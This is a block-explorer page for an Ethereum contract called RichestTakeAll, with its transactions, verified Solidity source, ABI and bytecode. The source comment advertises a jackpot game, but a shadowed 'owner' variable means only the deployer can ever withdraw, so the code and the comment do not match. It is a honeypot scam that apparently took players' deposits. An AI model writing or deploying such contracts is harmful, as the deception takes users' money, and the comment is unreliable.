ETH Price: $3,453.39 (+2.18%)
Gas: 47 Gwei

Contract

0xe65C53087E1a40b7C53B9A0EA3C2562ae2DFEb24
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Value
Take All46070002017-11-23 12:50:252290 days ago1511441425IN
0xe65C5308...ae2DFEb24
0 ETH0.000019631
Transfer45188322017-11-09 8:26:382304 days ago1510215998IN
0xe65C5308...ae2DFEb24
0.1 ETH0.000073432
Transfer45158812017-11-08 21:00:482305 days ago1510174848IN
0xe65C5308...ae2DFEb24
0.02 ETH0.000081711
0x6060604045158252017-11-08 20:48:442305 days ago1510174124IN
 Create: RichestTakeAll
0 ETH0.000214491

Latest 1 internal transaction

Advanced mode:
Parent Txn Hash Block From To Value
46070002017-11-23 12:50:252290 days ago1511441425
0xe65C5308...ae2DFEb24
0.12 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
RichestTakeAll

Compiler Version
v0.4.18+commit.9cf6e910

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
/**
 *Submitted for verification at Etherscan.io on 2017-11-08
*/

pragma solidity ^0.4.18;

// Simple Game. Each time you send more than the current jackpot, you become
// owner of the contract. As an owner, you can take the jackpot after a delay
// of 5 days after the last payment.

contract Owned {
    address public owner;

    function Owned() {
        owner = msg.sender;
    }

    modifier onlyOwner{
        if (msg.sender != owner)
            revert();
        _;
    }
}

contract RichestTakeAll is Owned {
    address public owner;
    uint public jackpot;
    uint public withdrawDelay;

    function() public payable {
        // transfer contract ownership if player pay more than current jackpot
        if (msg.value >= jackpot) {
            owner = msg.sender;
            withdrawDelay = block.timestamp + 5 days;
        }

        jackpot += msg.value;
    }

    function takeAll() public onlyOwner {
        require(block.timestamp >= withdrawDelay);

        msg.sender.transfer(jackpot);

        // restart
        jackpot = 0;
    }
}

Contract Security Audit

Contract ABI

[{"constant":true,"inputs":[],"name":"withdrawDelay","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"jackpot","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[],"name":"takeAll","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"payable":true,"stateMutability":"payable","type":"fallback"}]

606060405260008054600160a060020a033316600160a060020a0319909116179055610210806100306000396000f3006060604052600436106100615763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630288a39c81146100b35780636b31ee01146100d85780638da5cb5b146100eb578063de3bcb9714610127575b60025434106100a9576001805473ffffffffffffffffffffffffffffffffffffffff19163373ffffffffffffffffffffffffffffffffffffffff161790554262069780016003555b6002805434019055005b34156100be57600080fd5b6100c661013c565b60405190815260200160405180910390f35b34156100e357600080fd5b6100c6610142565b34156100f657600080fd5b6100fe610148565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390f35b341561013257600080fd5b61013a610164565b005b60035481565b60025481565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b6000543373ffffffffffffffffffffffffffffffffffffffff90811691161461018c57600080fd5b60035442101561019b57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc6002549081150290604051600060405180830381858888f1935050505015156101dd57600080fd5b60006002555600a165627a7a72305820299beff60909ee75d09e8b64aae4bb517c73dc171e1e03ccf16ee8cc3241801a0029

Deployed Bytecode

0x6060604052600436106100615763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630288a39c81146100b35780636b31ee01146100d85780638da5cb5b146100eb578063de3bcb9714610127575b60025434106100a9576001805473ffffffffffffffffffffffffffffffffffffffff19163373ffffffffffffffffffffffffffffffffffffffff161790554262069780016003555b6002805434019055005b34156100be57600080fd5b6100c661013c565b60405190815260200160405180910390f35b34156100e357600080fd5b6100c6610142565b34156100f657600080fd5b6100fe610148565b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390f35b341561013257600080fd5b61013a610164565b005b60035481565b60025481565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b6000543373ffffffffffffffffffffffffffffffffffffffff90811691161461018c57600080fd5b60035442101561019b57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc6002549081150290604051600060405180830381858888f1935050505015156101dd57600080fd5b60006002555600a165627a7a72305820299beff60909ee75d09e8b64aae4bb517c73dc171e1e03ccf16ee8cc3241801a0029

Swarm Source

bzzr://299beff60909ee75d09e8b64aae4bb517c73dc171e1e03ccf16ee8cc3241801a

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Txn Hash Block Value Eth2 PubKey Valid
View All Deposits
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.